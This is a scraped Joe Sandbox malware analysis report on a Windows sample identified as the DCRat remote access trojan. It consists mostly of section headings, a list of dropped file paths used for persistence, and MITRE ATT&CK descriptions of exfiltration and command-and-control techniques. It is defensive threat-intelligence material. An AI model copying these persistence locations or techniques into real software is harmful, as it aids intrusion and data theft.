Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 01YP9Lwum8.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Common Files\DESIGNER\4d1a182ec818fb

C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe

C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe:Zone.Identifier

C:\Program Files (x86)\Windows Sidebar\Gadgets\4d1a182ec818fb

C:\Program Files (x86)\Windows Sidebar\Gadgets\IMiOGCAyeLWFuBBcn.exe

C:\Program Files (x86)\Windows Sidebar\Gadgets\IMiOGCAyeLWFuBBcn.exe:Zone.Identifier

C:\Users\Default\AppData\Roaming\4d1a182ec818fb

C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe

C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe:Zone.Identifier

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\01YP9Lwum8.exe.log

Windows Analysis Report
01YP9Lwum8.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre